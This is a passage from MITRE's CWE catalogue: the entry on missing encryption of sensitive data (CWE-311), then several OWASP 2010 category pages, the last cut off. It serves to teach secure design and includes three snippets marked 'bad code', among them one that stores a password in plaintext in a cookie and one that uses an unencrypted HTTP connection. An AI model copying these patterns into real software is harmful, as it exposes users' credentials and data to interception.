Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.
+ Potential Mitigations

Phase: Requirements

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

Phase: Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

  • Encryption that is needed to store or transmit private data of the users of the system
  • Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

  • One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the product) does not need to have access to a private key.
  • Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.

Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 319 Cleartext Transmission of Sensitive Information
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 327 Use of a Broken or Risky Cryptographic Algorithm
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 319 Cleartext Transmission of Sensitive Information
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).


Example 2

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language:
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.


Example 3

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {

//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.


+ Observed Examples
Reference Description
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Detection Methods

Manual Analysis

The characterizaton of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Effectiveness: High

Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Network Sniffer
Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 719 OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 720 OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 729 OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 818 OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 861 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 930 OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-311 is high-level with more precise children available. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children CWE-312: Cleartext Storage of Sensitive Information or CWE-319: Cleartext Transmission of Sensitive Information.
+ Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Failure to encrypt data
OWASP Top Ten 2007 A8 CWE More Specific Insecure Cryptographic Storage
OWASP Top Ten 2007 A9 CWE More Specific Insecure Communications
OWASP Top Ten 2004 A8 CWE More Specific Insecure Storage
WASC 4 Insufficient Transport Layer Protection
The CERT Oracle Secure Coding Standard for Java (2011) MSC00-J Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 3-3 Req SR 4.1
ISA/IEC 62443 Part 3-3 Req SR 4.3
ISA/IEC 62443 Part 4-2 Req CR 4.1
ISA/IEC 62443 Part 4-2 Req CR 7.3
ISA/IEC 62443 Part 4-2 Req CR 1.5
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. URL validated: 2024-11-17.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
[REF-265] Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". SANS Software Security Institute. 2010-02-26. <https://www.sans.org/blog/top-25-series-rank-10-missing-encryption-of-sensitive-data/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution Date Contributor Organization
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29 CWE Content Team MITRE
updated Common_Consequences, Other_Notes
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Potential_Mitigations, References
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2011-06-01 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations, References
2013-07-17 CWE Content Team MITRE
updated Relationship_Notes
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Type
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Taxonomy_Mappings
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Failure to Encrypt Data
2010-02-16 Failure to Encrypt Sensitive Data

CWE CATEGORY: OWASP Top Ten 2010 Category A1 - Injection

Category ID: 810
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 91 XML Injection (aka Blind XPath Injection)
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-761] OWASP. "Top 10 2010-A1-Injection". <http://www.owasp.org/index.php/Top_10_2010-A1-Injection>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards

Category ID: 819
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 601 URL Redirection to Untrusted Site ('Open Redirect')
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-770] OWASP. "Top 10 2010-A10-Unvalidated Redirects and Forwards". <http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)

Category ID: 811
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-762] OWASP. "Top 10 2010-A2-Cross-Site Scripting (XSS)". <http://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_%28XSS%29>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management

Category ID: 812
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 307 Improper Restriction of Excessive Authentication Attempts
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 798 Use of Hard-coded Credentials
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-763] OWASP. "Top 10 2010-A3-Broken Authentication and Session Management". <http://www.owasp.org/index.php/Top_10_2010-A3-Broken_Authentication_and_Session_Management>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2011-09-13 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References

Category ID: 813
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 99 Improper Control of Resource Identifiers ('Resource Injection')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 434 Unrestricted Upload of File with Dangerous Type
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 639 Authorization Bypass Through User-Controlled Key
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 829 Inclusion of Functionality from Untrusted Control Sphere
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-764] OWASP. "Top 10 2010-A4-Insecure Direct Object References". <http://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2011-09-13 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)

Category ID: 814
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
